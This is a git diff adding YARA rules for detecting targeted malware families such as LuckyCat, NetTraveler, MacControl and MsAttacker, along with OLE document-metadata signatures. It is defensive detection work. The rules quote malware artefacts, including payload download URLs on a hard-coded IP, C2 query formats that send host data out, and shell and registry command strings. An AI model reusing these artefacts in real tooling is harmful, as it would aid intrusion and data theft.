+        $L4_FILEAGENTVer = { C7 ?? 46 49 4C 45 C7 ?? 04 41 47 45 4E }
+        $L4_TMP0M34JDF8 = { C7 ?? ?? ?? ?? ?? 54 4D 50 30 C7 ?? ?? ?? ?? ?? 4D 33 34 4A }
+        $L4_tmpmdworker = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 2E 6D 64 }
+        
+    condition:
+        any of ($L4*)
+}
+
+private rule IMulerStrings : IMuler Family
+{
+    meta:
+        description = "IMuler Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        $ = "/cgi-mac/"
+        $ = "xnocz1"
+        $ = "checkvir.plist"
+        $ = "/Users/apple/Documents/mac back"
+        $ = "iMuler2"
+        $ = "/Users/imac/Desktop/macback/"
+        $ = "xntaskz.gz"
+        $ = "2wmsetstatus.cgi"
+        $ = "launch-0rp.dat"
+        $ = "2wmupload.cgi"
+        $ = "xntmpz"
+        $ = "2wmrecvdata.cgi"
+        $ = "xnorz6"
+        $ = "2wmdelfile.cgi"
+        $ = "/LanchAgents/checkvir"
+        $ = "0PERA:%s"
+        $ = "/tmp/Spotlight"
+        $ = "/tmp/launch-ICS000"
+        
+    condition:
+        any of them
+}
+
+rule IMuler : Family
+{
+    meta:
+        description = "IMuler"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        IMulerCode or IMulerStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/insta11.yara b/yara-mikesxrs/Citizen Lab/insta11.yara
new file mode 100644
index 0000000..4ccbc41
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/insta11.yara	
@@ -0,0 +1,43 @@
+private rule Insta11Code : Insta11 Family 
+{
+    meta:
+        description = "Insta11 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        // jmp $+5; push 423h
+        $jumpandpush = { E9 00 00 00 00 68 23 04 00 00 }
+    
+    condition:
+        any of them
+}
+
+private rule Insta11Strings : Insta11 Family
+{
+    meta:
+        description = "Insta11 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "XTALKER7"
+        $ = "Insta11 Microsoft" wide ascii
+        $ = "wudMessage"
+        $ = "ECD4FC4D-521C-11D0-B792-00A0C90312E1"
+        $ = "B12AE898-D056-4378-A844-6D393FE37956"
+        
+    condition:
+       any of them
+}
+
+rule Insta11 : Family
+{
+    meta:
+        description = "Insta11"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        Insta11Code or Insta11Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/luckycat.yara b/yara-mikesxrs/Citizen Lab/luckycat.yara
new file mode 100644
index 0000000..3d9566a
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/luckycat.yara	
@@ -0,0 +1,46 @@
+private rule LuckyCatCode : LuckyCat Family 
+{
+    meta:
+        description = "LuckyCat code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xordecrypt = { BF 0F 00 00 00 F7 F7 ?? ?? ?? ?? 32 14 39 80 F2 7B }
+        $dll = { C6 ?? ?? ?? 64 C6 ?? ?? ?? 6C C6 ?? ?? ?? 6C }
+        $commonletters = { B? 63 B? 61 B? 73 B? 65 }
+        
+    condition:
+        $xordecrypt or ($dll and $commonletters)
+}
+
+private rule LuckyCatStrings : LuckyCat Family
+{
+    meta:
+        description = "LuckyCat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xorencrypted = { 77 76 75 7B 7A 79 78 7F 7E 7D 7C 73 72 71 70 }
+        $tempvbs = "%s\\~temp.vbs"
+        $countphp = "count.php\x00"
+        $trojanname = /WMILINK=.*TrojanName=/
+        $tmpfile = "d0908076343423d3456.tmp"
+        $dirfile = "cmd /c dir /s /a C:\\\\ >'+tmpfolder+'\\\\C.tmp"
+        $ipandmac = "objIP.DNSHostName+'_'+objIP.MACAddress.split(':').join('')+'_'+addinf+'@')"
+        
+    condition:
+       any of them
+}
+
+rule LuckyCat : Family
+{
+    meta:
+        description = "LuckyCat"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        LuckyCatCode or LuckyCatStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/lurk0+cctv0.yara b/yara-mikesxrs/Citizen Lab/lurk0+cctv0.yara
new file mode 100644
index 0000000..b41f0cf
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/lurk0+cctv0.yara	
@@ -0,0 +1,86 @@
+private rule LURK0Header : Family LURK0 {
+	meta:
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = { C6 [5] 4C C6 [5] 55 C6 [5] 52 C6 [5] 4B C6 [5] 30 }
+
+	condition:
+		any of them
+}
+
+private rule CCTV0Header : Family CCTV0 {
+        meta:  
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+
+	strings:
+		//if its just one char a time
+		$ = { C6 [5] 43 C6 [5] 43 C6 [5] 54 C6 [5] 56 C6 [5] 30 }
+		// bit hacky but for when samples dont just simply mov 1 char at a time
+		$ = { B0 43 88 [3] 88 [3] C6 [3] 54 C6 [3] 56 [0-12] (B0 30 | C6 [3] 30) }
+
+	condition:
+		any of them
+}
+
+private rule SharedStrings : Family {
+	meta:
+		description = "Internal names found in LURK0/CCTV0 samples"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+	
+	strings:
+		// internal names
+		$i1 = "Butterfly.dll"
+		$i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/
+		$i3 = "ETClientDLL"
+
+		// dbx
+		$d1 = "\\DbxUpdateET\\" wide
+		$d2 = "\\DbxUpdateBT\\" wide
+		$d3 = "\\DbxUpdate\\" wide
+		
+		// other folders
+		$mc1 = "\\Micet\\"
+
+		// embedded file names
+		$n1 = "IconCacheEt.dat" wide
+		$n2 = "IconConfigEt.dat" wide
+
+		$m1 = "\x00\x00ERXXXXXXX\x00\x00" wide
+		$m2 = "\x00\x00111\x00\x00" wide
+		$m3 = "\x00\x00ETUN\x00\x00" wide
+		$m4 = "\x00\x00ER\x00\x00" wide
+
+	condition:
+		any of them //todo: finetune this
+
+}
+
+rule LURK0 : Family LURK0 {
+	
+	meta:
+		description = "rule for lurk0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		LURK0Header and SharedStrings
+
+}
+
+rule CCTV0 : Family CCTV0 {
+
+	meta:
+		description = "rule for cctv0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		CCTV0Header and SharedStrings
+
+}
diff --git a/yara-mikesxrs/Citizen Lab/maccontrol.yara b/yara-mikesxrs/Citizen Lab/maccontrol.yara
new file mode 100644
index 0000000..d54f336
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/maccontrol.yara	
@@ -0,0 +1,47 @@
+private rule MacControlCode : MacControl Family 
+{
+    meta:
+        description = "MacControl code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_Accept = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 3A 20 }
+        $L4_AcceptLang = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 2D 4C }
+        $L4_Pragma = { C7 ?? 50 72 61 67 C7 ?? 04 6D 61 3A 20 }
+        $L4_Connection = { C7 ?? 43 6F 6E 6E C7 ?? 04 65 63 74 69 }
+        $GEThgif = { C7 ?? 47 45 54 20 C7 ?? 04 2F 68 2E 67 }
+        
+    condition:
+        all of ($L4*) or $GEThgif
+}
+
+private rule MacControlStrings : MacControl Family
+{
+    meta:
+        description = "MacControl Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        $ = "HTTPHeadGet"
+        $ = "/Library/launched"
+        $ = "My connect error with no ip!"
+        $ = "Send File is Failed"
+        $ = "****************************You Have got it!****************************"
+        
+    condition:
+        any of them
+}
+
+rule MacControl : Family
+{
+    meta:
+        description = "MacControl"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        MacControlCode or MacControlStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/malware-families.yara b/yara-mikesxrs/Citizen Lab/malware-families.yara
new file mode 100644
index 0000000..8a4f696
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/malware-families.yara	
@@ -0,0 +1,42 @@
+include "3102.yara"
+include "9002.yara"
+include "bangat.yara"
+include "boouset.yara"
+include "comfoo.yara"
+include "cookies.yara"
+include "cxpid.yara"
+include "enfal.yara"
+include "ezcob.yara"
+include "fakem.yara"
+include "favorite.yara"
+include "glasses.yara"
+include "iexpl0re.yara"
+include "imuler.yara"
+include "insta11.yara"
+include "luckycat.yara"
+include "lurk0+cctv0.yara"
+include "maccontrol.yara"
+include "mirage.yara"
+include "mongal.yara"
+include "msattacker.yara"
+include "naikon.yara"
+include "naspyupdate.yara"
+include "nettraveler.yara"
+include "nsfree.yara"
+include "olyx.yara"
+include "plugx.yara"
+include "pubsab.yara"
+include "quarian.yara"
+include "regsubdat.yara"
+include "remote.yara"
+include "rookie.yara"
+include "rooter.yara"
+include "safenet.yara"
+include "scarhikn.yara"
+include "surtr.yara"
+include "t5000.yara"
+include "vidgrab.yara"
+include "warp.yara"
+include "wimmie.yara"
+include "xtreme.yara"
+include "yayih.yara"
diff --git a/yara-mikesxrs/Citizen Lab/mirage.yara b/yara-mikesxrs/Citizen Lab/mirage.yara
new file mode 100644
index 0000000..6ebfc23
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/mirage.yara	
@@ -0,0 +1,25 @@
+private rule MirageStrings : Mirage Family
+{
+    meta:
+        description = "Mirage Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "Neo,welcome to the desert of real." wide ascii
+        $ = "/result?hl=en&id=%s"
+        
+    condition:
+       any of them
+}
+
+rule Mirage : Family
+{
+    meta:
+        description = "Mirage"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        MirageStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/mongal.yara b/yara-mikesxrs/Citizen Lab/mongal.yara
new file mode 100644
index 0000000..fd59076
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/mongal.yara	
@@ -0,0 +1,41 @@
+private rule MongalCode : Mongal Family 
+{
+    meta:
+        description = "Mongal code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+    
+    strings:
+        // gettickcount value checking
+        $ = { 8B C8 B8 D3 4D 62 10 F7 E1 C1 EA 06 2B D6 83 FA 05 76 EB }
+        
+    condition:
+        any of them
+}
+
+private rule MongalStrings : Mongal Family
+{
+    meta:
+        description = "Mongal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    strings:
+        $ = "NSCortr.dll"
+        $ = "NSCortr1.dll"
+        $ = "Sina.exe"
+        
+    condition:
+        any of them
+}
+
+rule Mongal : Family
+{
+    meta:
+        description = "Mongal"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    condition:
+        MongalCode or MongalStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/msattacker.yara b/yara-mikesxrs/Citizen Lab/msattacker.yara
new file mode 100644
index 0000000..81a1031
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/msattacker.yara	
@@ -0,0 +1,35 @@
+private rule MsAttackerStage2 : MsAttacker Family
+{
+	meta:
+		description = "Identifying strings for MsAttacker stage 2"
+		last_modified = "2015-03-12"
+	strings:
+		$ = "MiniJS.dll"
+		$ = "%s \"rundll32.exe %s RealService %s\" /f"
+		$ = "reg delete HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Start Pages\" /f"
+		$ = "3111431114311121270018000127001808012700180"
+		$ = "Global\\MSAttacker %d"
+	condition:
+		any of them
+}
+private rule MsAttackerStage1 : MsAttacker Family
+{
+	meta:
+		description = "Identifying strings for MsAttacker stage 1"
+		last_modified = "2015-03-12"
+
+	strings:
+		$ = "http://122.10.117.152/download/ms/CryptBase.32.cab"
+		$ = "http://122.10.117.152/download/ms/CryptBase.64.cab"
+		$ = "http://122.10.117.152/download/ms/MiniJS.dll"
+		$ = "MiniJS.dll"
+		$ = "%s;new Downloader('%s', '%s').Fire();"
+		$ = "rundll32.exe %s RealService %s"
+	condition:
+		any of them
+}
+
+rule MsAttacker : MsAttacker Family {
+	condition:
+		MsAttackerStage1 or MsAttackerStage2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/naikon.yara b/yara-mikesxrs/Citizen Lab/naikon.yara
new file mode 100644
index 0000000..65e0760
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/naikon.yara	
@@ -0,0 +1,45 @@
+private rule NaikonCode : Naikon Family 
+{
+    meta:
+        description = "Naikon code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 0F AF C1 C1 E0 1F } // imul eax, ecx; shl eah, 1fh
+        $ = { 35 5A 01 00 00} // xor eax, 15ah
+        $ = { 81 C2 7F 14 06 00 } // add edx, 6147fh
+    
+    condition:
+        all of them
+}
+
+private rule NaikonStrings : Naikon Family
+{
+    meta:
+        description = "Naikon Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "NOKIAN95/WEB"
+        $ = "/tag=info&id=15"
+        $ = "skg(3)=&3.2d_u1"
+        $ = "\\Temp\\iExplorer.exe"
+        $ = "\\Temp\\\"TSG\""
+        
+    condition:
+       any of them
+}
+
+rule Naikon : Family
+{
+    meta:
+        description = "Naikon"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        NaikonCode or NaikonStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/naspyupdate.yara b/yara-mikesxrs/Citizen Lab/naspyupdate.yara
new file mode 100644
index 0000000..8a85273
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/naspyupdate.yara	
@@ -0,0 +1,42 @@
+private rule nAspyUpdateCode : nAspyUpdate Family 
+{
+    meta:
+        description = "nAspyUpdate code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop in dropper
+        $ = { 8A 54 24 14 8A 01 32 C2 02 C2 88 01 41 4E 75 F4 }
+        
+    condition:
+        any of them
+}
+
+private rule nAspyUpdateStrings : nAspyUpdate Family
+{
+    meta:
+        description = "nAspyUpdate Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $ = "\\httpclient.txt"
+        $ = "password <=14"
+        $ = "/%ldn.txt"
+        $ = "Kill You\x00"
+        
+    condition:
+        any of them
+}
+
+rule nAspyUpdate : Family
+{
+    meta:
+        description = "nAspyUpdate"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        nAspyUpdateCode or nAspyUpdateStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/nettraveler.yara b/yara-mikesxrs/Citizen Lab/nettraveler.yara
new file mode 100644
index 0000000..f5bbe17
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/nettraveler.yara	
@@ -0,0 +1,88 @@
+//will match both exe and dll components
+private rule NetTravExports : NetTraveler Family {
+
+	meta:
+		description = "Export names for dll component"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		//dll component exports
+		$ = "?InjectDll@@YAHPAUHWND__@@K@Z"
+		$ = "?UnmapDll@@YAHXZ"
+		$ = "?g_bSubclassed@@3HA"
+		
+	condition:
+		any of them
+}
+
+private rule NetTravStrings : NetTraveler Family {
+
+
+	meta:
+        	description = "Identifiers for NetTraveler DLL"
+		author = "Katie Kleemola"
+        	last_updated = "2014-05-20"
+
+	strings:
+		//network strings
+		$ = "?action=updated&hostid="
+		$ = "travlerbackinfo"
+		$ = "?action=getcmd&hostid="
+		$ = "%s?action=gotcmd&hostid="
+		$ = "%s?hostid=%s&hostname=%s&hostip=%s&filename=%s&filestart=%u&filetext="
+
+		//debugging strings
+		$ = "\x00Method1 Fail!!!!!\x00"
+		$ = "\x00Method3 Fail!!!!!\x00"
+		$ = "\x00method currect:\x00"
+		$ = /\x00\x00[\w\-]+ is Running!\x00\x00/
+		$ = "\x00OtherTwo\x00"
+
+	condition:
+		any of them
+
+}
+
+private rule NetpassStrings : NetPass Variant {
+
+        meta:
+                description = "Identifiers for netpass variant"
+                author = "Katie Kleemola"
+                last_updated = "2014-05-29"
+
+        strings:
+		$exif1 = "Device Protect ApplicatioN" wide
+		$exif2 = "beep.sys" wide //embedded exe name
+		$exif3 = "BEEP Driver" wide //embedded exe description
+		
+		$string1 = "\x00NetPass Update\x00"
+		$string2 = "\x00%s:DOWNLOAD\x00"
+		$string3 = "\x00%s:UPDATE\x00"
+		$string4 = "\x00%s:uNINSTALL\x00"
+
+        condition:
+                all of ($exif*) or any of ($string*)
+
+}	
+
+
+rule NetTraveler : Family {
+	meta:
+		description = "Nettravelr"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	
+	condition:
+		NetTravExports or NetTravStrings or NetpassStrings
+
+}
+
+rule NetPass : Variant {
+	meta:
+		description = "netpass variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	condition:
+		NetpassStrings
+}
diff --git a/yara-mikesxrs/Citizen Lab/nsfree.yara b/yara-mikesxrs/Citizen Lab/nsfree.yara
new file mode 100644
index 0000000..30bae26
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/nsfree.yara	
@@ -0,0 +1,44 @@
+private rule NSFreeCode : NSFree Family 
+{
+    meta:
+        description = "NSFree code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // push vars then look for MZ
+        $ = { 53 56 57 66 81 38 4D 5A }
+        // nops then look for PE\0\0
+        $ = { 90 90 90 90 81 3F 50 45 00 00 }
+    
+    condition:
+        all of them
+}
+
+private rule NSFreeStrings : NSFree Family
+{
+    meta:
+        description = "NSFree Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $ = "\\MicNS\\" nocase
+        $ = "NSFreeDll" wide ascii
+        // xor 0x58 dos stub
+        $ = { 0c 30 31 2b 78 28 2a 37 3f 2a 39 35 78 3b 39 36 36 37 }
+        
+    condition:
+       any of them
+}
+
+rule NSFree : Family
+{
+    meta:
+        description = "NSFree"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        NSFreeCode or NSFreeStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/oleidentifiers.yara b/yara-mikesxrs/Citizen Lab/oleidentifiers.yara
new file mode 100644
index 0000000..847f01f
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/oleidentifiers.yara	
@@ -0,0 +1,265 @@
+include "filetypes.yara"
+
+/*
+
+These string lists generated on the command line by:
+
+Author:
+file ~/samples/all/* | perl -ne 'if(/Author: (.*?), Template:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+Title:
+$ file ~/samples/all/* | perl -ne 'if(/Title: (.*?), Author:/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; } print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+Last Saved By:
+$ file ~/samples/all/* | perl -ne 'if(/Last Saved By: (.*?), Revision/) { $x = $1; $x =~ s/\"/\\\"/g; while($x =~ /\\(\d{3})/) { $n = oct($1); $nn = sprintf("%02x",$n); $x =~ s/\\$1/\\x$nn/; chomp $x; }   print "        \$ = \"\\x00$x\\x00\\x1e\"\n"; };' | sort | uniq
+
+*/
+
+
+rule OLEAuthor : Author OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document authors"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $ = "\x00111\x00\x1e"
+        $ = "\x0011\x00\x1e"
+        $ = "\x00123\x00\x1e"
+        $ = "\x002chu\x00\x1e"
+        $ = "\x007513A3DEA183474\x00\x1e"
+        $ = "\x00abc\x00\x1e"
+        $ = "\x00Administrator\x00\x1e"
+        $ = "\x00admin\x00\x1e"
+        $ = "\x00Aggarwal, Aakash\x00\x1e"
+        $ = "\x00beat\x00\x1e"
+        $ = "\x00Ben\x00\x1e"
+        $ = "\x00bf\x00\x1e"
+        $ = "\x00Booksway\x00\x1e"
+        $ = "\x00Bosh\x00\x1e"
+        $ = "\x00captain\x00\x1e"
+        $ = "\x00CC2\x00\x1e"
+        $ = "\x00cyano\x00\x1e"
+        $ = "\x00Dinesh\x00\x1e"
+        $ = "\x00Dolker\x00\x1e"
+        $ = "\x00Drokpa\x00\x1e"
+        $ = "\x00Findo\x00\x1e"
+        $ = "\x00FLORINE DATESSEN\x00\x1e"
+        $ = "\x00funghain\x00\x1e"
+        $ = "\x00HealthDeptt-01\x00\x1e"
+        $ = "\x00hy9901a\x00\x1e"
+        $ = "\x00IBM User\x00\x1e"
+        $ = "\x00IBM\x00\x1e"
+        $ = "\x00Igny\x00\x1e"
+        $ = "\x00IITK\x00\x1e"
+        $ = "\x00I. K\x00\x1e"
+        $ = "\x00Jamal Al-Masraf\x00\x1e"
+        $ = "\x00Joyce Havinga\x00\x1e"
+        $ = "\x00kalume\x00\x1e"
+        $ = "\x00Karma\x00\x1e"
+        $ = "\x00karmayeshi\x00\x1e"
+        $ = "\x00KChase\x00\x1e"
+        $ = "\x00ken\x00\x1e"
+        $ = "\x00khenrab\x00\x1e"
+        $ = "\x00Kunga Tashi\x00\x1e"
+        $ = "\x00Lenovo User\x00\x1e"
+        $ = "\x00Lenovo\x00\x1e"
+        $ = "\x00lenovo\x00\x1e"
+        $ = "\x00Lharisang\x00\x1e"
+        $ = "\x00Luitgard Hammerer\x00\x1e"
+        $ = "\x00MC SYSTEM\x00\x1e"
+        $ = "\x00mpzhang\x00\x1e"
+        $ = "\x00neuroking\x00\x1e"
+        $ = "\x00Ngawang Gelek\x00\x1e"
+        $ = "\x00niu2\x00\x1e"
+        $ = "\x00Owner\x00\x1e"
+        $ = "\x00pema tashi\x00\x1e"
+        $ = "\x00pepe\x00\x1e"
+        $ = "\x00perhat64\x00\x1e"
+        $ = "\x00Remote\x00\x1e"
+        $ = "\x00ResuR\x00\x1e"
+        $ = "\x00roy\x00\x1e"
+        $ = "\x00Samphel\x00\x1e"
+        $ = "\x00sard\x00\x1e"
+        $ = "\x00shirley\x00\x1e"
+        $ = "\x00shungqar\x00\x1e"
+        $ = "\x00Sofia Olsson\x00\x1e"
+        $ = "\x00Sonam Dolkar\x00\x1e"
+        $ = "\x00Son Huynh Hong\x00\x1e"
+        $ = "\x00system\x00\x1e"
+        $ = "\x00teguete\x00\x1e"
+        $ = "\x00tensangmo\x00\x1e"
+        $ = "\x00tenzin1959\x00\x1e"
+        $ = "\x00Tenzin\x00\x1e"
+        $ = "\x00Tran Duy Linh\x00\x1e"
+        $ = "\x00Traudl\x00\x1e"
+        $ = "\x00Tsedup\x00\x1e"
+        $ = "\x00Tsering Tamding\x00\x1e"
+        $ = "\x00unknown\x00\x1e"
+        $ = "\x00USER\x00\x1e"
+        $ = "\x00User\x00\x1e"
+        $ = "\x00user\x00\x1e"
+        $ = "\x00votoystein\x00\x1e"
+        $ = "\x00walkinnet\x00\x1e"
+        $ = "\x00World Uyghur Congress\x00\x1e"
+        $ = "\x00www\x00\x1e"
+        $ = "\x00             \x00\x1e"
+        $ = "\x00        \x00\x1e"
+        $ = "\x00      \x00\x1e"
+        $ = "\x00  \x00\x1e"
+        $ = "\x00\xf4_y\xb7\x80\x05\x9e\xbf\x00\x1e"
+        $ = "\x00xp\x00\x1e"
+        $ = "\x00YCanPDF\x00\x1e"
+        $ = "\x00y\x00\x1e"
+        $ = "\x00zsh\x00\x1e"
+
+    condition:
+        IsOLE and (any of them)
+}
+
+
+rule OLETitle : Title OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document titles"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $ = "\x0001:00\x00\x1e"
+        $ = "\x00    23-Aprel  chushidin keyin saet bir yirim,Xitayning 3 neper paylaqchisi seriqbuya yezida oy arilap yurup paylaqchiliq qiliwatqanda bir oyge toplann\xcaghan bir gurup uyghur yashlarni korgen we ularning yenida pichaq we tam teshidighan eswablarni korup gum\x00\x1e"
+        $ = "\x0046-120603   fice W648\x00\x1e"
+        $ = "\x0054-120602   15s\xb7K\x0c]\xb7\x00\x1e"
+        $ = "\x005-Iyul Urumchi Qirghinchiliqi heqide qisqiche Dokilat \x00\x1e"
+        $ = "\x00April 20-21, 2013\x00\x1e"
+        $ = "\x00asdfasdfasdf\x00\x1e"
+        $ = "\x00Bamako, le 04 d\x00\x1e"
+        $ = "\x00Best\x00\x1e"
+        $ = "\x00Dear All,\x00\x1e"
+        $ = "\x00Dear President and Executive Members,\x00\x1e"
+        $ = "\x00Full list of self-immolations in Tibet\x00\x1e"
+        $ = "\x00Help stop the destruction of my home, Lhasa, Tibet\x00\x1e"
+        $ = "\x00HHDL'visit in European\x00\x1e"
+        $ = "\x00II) Overview & Analysis:\x00\x1e"
+        $ = "\x00Institute for Defence Studies and Analyses\x00\x1e"
+        $ = "\x00IPT  APPLICATION FORM\x00\x1e"
+        $ = "\x00Jharkhand supports Indian Parliamentary resolution on Tibet crisis\x00\x1e"
+        $ = "\x00Lieutenant General KENOSE BARRY PHILLIPE,\x00\x1e"
+        $ = "\x00OPERATIONAL MANUAL:\x00\x1e"
+        $ = "\x00PART 2 - Overview and Analysis\x00\x1e"
+        $ = "\x00PowerPoint Presentation\x00\x1e"
+        $ = "\x00Progress Chart: 15\x00\x1e"
+        $ = "\x00Progress Chart:\x00\x1e"
+        $ = "\x00Progress Chart\x00\x1e"
+        $ = "\x00RC\x00\x1e"
+        $ = "\x00(RESENDING)\x00\x1e"
+        $ = "\x00Talking Points EU-China Human Rights Dialogue June 2011\x00\x1e"
+        $ = "\x00TANC Community Center\x00\x1e"
+        $ = "\x00The Charg\x00\x1e"
+        $ = "\x00The following schedule of plans has been finalized for the purpose of holding the Second Special General Meeting of Tibetans being organized jointly by the Tibetan Parliament-in-Exile and the Kashag headed by the Kalon Tripa in accordance with the provis\x00\x1e"
+        $ = "\x00The Tibet Museum Project\x00\x1e"
+        $ = "\x00Tibetan Community in Switzerland & Liechtenstein, Binzstrasse 15, CH-8045 Zurich, Switzerland \x00\x1e"
+        $ = "\x00TSERING BHUTI\x00\x1e"
+        $ = "\x00Tsering Bhuti\x00\x1e"
+        $ = "\x00 \x00\x1e"
+        $ = "\x00#\x00\x1e"
+        $ = "\x00\x8d\x00\x1e"
+        $ = "\x00\x8d\x9a\x06\xb7\x00\x1e"
+        $ = "\x00\xc8\xf8!\xb7\x00\x1e"
+        $ = "\x00Yes, I would like to raise this point: how many more young Tibetan lives are to be sacrificed in these awful self immolations before China is likely to change its Tibet policies in favour of Tibetan autonomy\x00\x1e"
+
+
+    condition:
+        IsOLE and (any of them)
+}
+
+rule OLELastSavedBy : LastSavedBy OLEMetadata
+{
+    meta:
+        description = "Identifier for known OLE document Last Saved By field"
+        author = "Seth Hardy"
+        last_modified = "2014-05-07"
+        
+    strings:
+        $ = "\x00111\x00\x1e"
+        $ = "\x0011\x00\x1e"
+        $ = "\x00123\x00\x1e"
+        $ = "\x00Administrator\x00\x1e"
+        $ = "\x00Admin\x00\x1e"
+        $ = "\x00Alex\x00\x1e"
+        $ = "\x00Audit\x00\x1e"
+        $ = "\x00A\x00\x1e"
+        $ = "\x00beat\x00\x1e"
+        $ = "\x00Ben\x00\x1e"
+        $ = "\x00bf\x00\x1e"
+        $ = "\x00Booksway\x00\x1e"
+        $ = "\x00Bosh\x00\x1e"
+        $ = "\x00captain\x00\x1e"
+        $ = "\x00CL_nelson\x00\x1e"
+        $ = "\x00Core\x00\x1e"
+        $ = "\x00cyano\x00\x1e"
+        $ = "\x00dainzin\x00\x1e"
+        $ = "\x00Dolker\x00\x1e"
+        $ = "\x00Findo\x00\x1e"
+        $ = "\x00FLORINE DATESSEN\x00\x1e"
+        $ = "\x00funghain\x00\x1e"
+        $ = "\x00HP\x00\x1e"
+        $ = "\x00hy9901a\x00\x1e"
+        $ = "\x00IBM User\x00\x1e"
+        $ = "\x00IBM\x00\x1e"
+        $ = "\x00Igny\x00\x1e"
+        $ = "\x00I. K\x00\x1e"
+        $ = "\x00ITCO\x00\x1e"
+        $ = "\x00jds\x00\x1e"
+        $ = "\x00Joyce Havinga\x00\x1e"
+        $ = "\x00karmayeshi\x00\x1e"
+        $ = "\x00ken\x00\x1e"
+        $ = "\x00khenrab\x00\x1e"
+        $ = "\x00Kunga Tashi\x00\x1e"
+        $ = "\x00lebrale\x00\x1e"
+        $ = "\x00Lenovo User\x00\x1e"
+        $ = "\x00Lenovo\x00\x1e"
+        $ = "\x00lenovo\x00\x1e"
+        $ = "\x00Lharisang\x00\x1e"
